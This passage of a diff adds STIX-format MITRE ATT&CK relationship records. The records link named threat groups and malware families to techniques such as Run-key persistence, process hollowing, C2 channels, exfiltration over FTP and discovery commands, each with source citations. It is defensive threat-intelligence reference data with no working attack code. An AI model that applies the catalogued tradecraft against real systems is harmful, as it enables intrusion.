"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) scripts save memory dump data into a specific directory on hosts in the victim environment.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2af3c673-c0c6-4246-aacc-984eb370e7b9", + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "modified": "2019-04-24T19:41:25.802Z", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) C2 messages are encrypted with custom stream ciphers using six-byte or eight-byte keys.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f4e53b40-abcf-4157-9e53-4ab9632619f1", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "modified": "2019-01-30T18:08:51.160Z", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gazer](https://attack.mitre.org/software/S0168) versions are signed with various valid certificates; one was likely faked and issued by Comodo for \"Solid Loop Ltd,\" and another was issued for \"Ultimate Computer Support Ltd.\"", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c354bbc0-74c4-4805-b6e6-f33f49272f86", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "source_name": "Securelist WhiteBear Aug 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [InnaputRAT](https://attack.mitre.org/software/S0259) variants establish persistence by modifying the Registry key HKU\\\\Software\\Microsoft\\Windows\\CurrentVersion\\Run:%appdata%\\NeutralApp\\NeutralApp.exe.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bc7382dc-b2d0-4bd3-9e7d-f49cf17e7fc1", + "external_references": [ + { + "source_name": "ASERT InnaputRAT April 2018", + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) network traffic can communicate over HTTP.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9b80479d-6f7a-45fd-af5b-1e8adfb1e7fd", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has exploited Adobe Flash vulnerability CVE-2018-4878 for execution.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5a0ce8c4-e941-4bd0-8e70-6ca440a29b9d", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "modified": "2019-04-29T18:13:08.950Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:14:29.770Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.065Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4cb1c7b1-6efd-488c-857d-605ff8ca9ab5", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31", + "relationship_type": "uses", + "target_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses PowerShell scripts for execution.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d42a4f15-98c5-43df-9e25-7455a764070d", + "external_references": [ + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CORALDECK](https://attack.mitre.org/software/S0212) has exfiltrated data in HTTP POST headers.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--499b83f9-ba2a-4de3-a143-ed85677a453d", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LOWBALL](https://attack.mitre.org/software/S0042) command and control occurs via HTTPS over port 443.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--12cc7738-bb90-4e77-a96d-8e4f312e07d4", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SynAck](https://attack.mitre.org/software/S0242) enumerates Registry keys associated with event logs.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--69c3aaaf-0922-4662-a8b3-026dc5ea0aae", + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + } + ], + "modified": "2019-07-26T23:00:57.057Z", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Commands such as net group and net localgroup can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about and manipulate groups.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--75f7d0e0-b1e9-4289-8895-d8a262930523", + "external_references": [ + { + "source_name": "Savill 1999", + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "modified": "2019-04-24T23:39:01.530Z", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can gather information on the mapped drives, OS version, computer name, and memory size.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9154afb8-abf6-4d9d-b114-5106d801338f", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. 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Retrieved January 26, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf" + } + ], + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "relationship_type": "uses", + "target_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ISMInjector](https://attack.mitre.org/software/S0189) hollows out a newly created process RegASM.exe and injects its payload into the hollowed process.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b1df64c9-782d-4452-8c4a-5ef933503c13", + "external_references": [ + { + "source_name": "OilRig New Delivery Oct 2017", + "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324", + "relationship_type": "uses", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [MiniDuke](https://attack.mitre.org/software/S0051) components use Twitter to initially obtain the address of a C2 server or as a backup if no hard-coded C2 server responds.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1f972385-7f1c-4cbd-a071-951973e6d229", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + }, + { + "source_name": "Securelist MiniDuke Feb 2013", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2013, February 27). The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor. Retrieved April 5, 2017.", + "url": "https://cdn.securelist.com/files/2014/07/themysteryofthepdf0-dayassemblermicrobackdoor.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POORAIM](https://attack.mitre.org/software/S0216) has used AOL Instant Messenger for C2.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d122e56a-b0d7-4eb2-bcee-def5d4cbf5bd", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. 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Retrieved June 8, 2016.", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CCBkdr](https://attack.mitre.org/software/S0222) was added to a legitimate, signed version 5.33 of the CCleaner software and distributed on CCleaner's distribution site.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9b650df6-f965-45fa-9e5a-409202a46da7", + "external_references": [ + { + "source_name": "Talos CCleanup 2017", + "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", + "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html" + }, + { + "source_name": "Intezer Aurora Sept 2017", + "description": "Rosenberg, J. (2017, September 20). Evidence Aurora Operation Still Active: Supply Chain Attack Through CCleaner. Retrieved February 13, 2018.", + "url": "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/" + }, + { + "source_name": "Avast CCleaner3 2018", + "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.", + "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities" + } + ], + "modified": "2019-04-24T23:11:34.603Z", + "source_ref": "malware--b0f13390-cec7-4814-b37c-ccec01887faa", + "relationship_type": "uses", + "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of running services with the command tasklist /v.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c0f3f4f3-e435-443f-aa89-18afb0115055", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has exfiltrated data over FTP separately from its primary C2 channel over DNS.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--70495f42-0a81-485c-8f30-c75af61f1c6a", + "external_references": [ + { + "source_name": "Palo Alto OilRig Oct 2016", + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" + } + ], + "modified": "2019-07-17T16:17:30.171Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) creates processes using the Windows API calls: CreateProcessA() and CreateProcessAsUserA().", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--70648d67-a2f5-4021-8ffe-3bbcdbe8e78f", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[S-Type](https://attack.mitre.org/software/S0085) may save itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--11874e26-e692-43da-bb54-760e51a4714f", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + }, + { + "source_name": "Microsoft DTC", + "description": "Microsoft. (2011, January 12). Distributed Transaction Coordinator. Retrieved February 25, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc759136(v=ws.10).aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-16T15:35:21.084Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c79ca18d-b316-476e-8adf-df28a4b40074", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "relationship_type": "uses", + "target_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) created new Windows services and added them to the startup directories for persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bde512f7-afbb-4fe5-8df7-53a00bdadc79", + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "modified": "2019-06-30T23:13:18.469Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to schedule remote AT jobs.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a5f43f22-7157-4e5a-8d08-d700471f1993", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-22T23:25:33.623Z", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elise](https://attack.mitre.org/software/S0081) encrypts exfiltrated data with RC4.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1a028242-1896-4867-a691-c97867f1663d", + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "modified": "2019-04-17T22:12:24.837Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve IP and network adapter configuration information from compromised hosts.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--927e8d82-d094-4170-bc76-10717ffd8d7f", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "modified": "2019-04-22T22:36:53.016Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses the SmartAssembly obfuscator to pack an embedded .Net Framework assembly used for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d5c6c2bd-e49f-4d88-9351-a1c3d7f3ef99", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "modified": "2019-04-24T23:40:23.449Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can open the Windows Firewall on the victim\u2019s machine to allow incoming connections.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--448ea71c-ebfa-4604-bb8e-0c8c997c746a", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) uses a custom encryption algorithm on data sent back to the C2 server over HTTP.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--805f7ba3-a904-410c-b9fd-20356c595b19", + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "modified": "2019-04-24T23:10:02.440Z", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Misdat](https://attack.mitre.org/software/S0083) network traffic communicates over a raw socket.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + 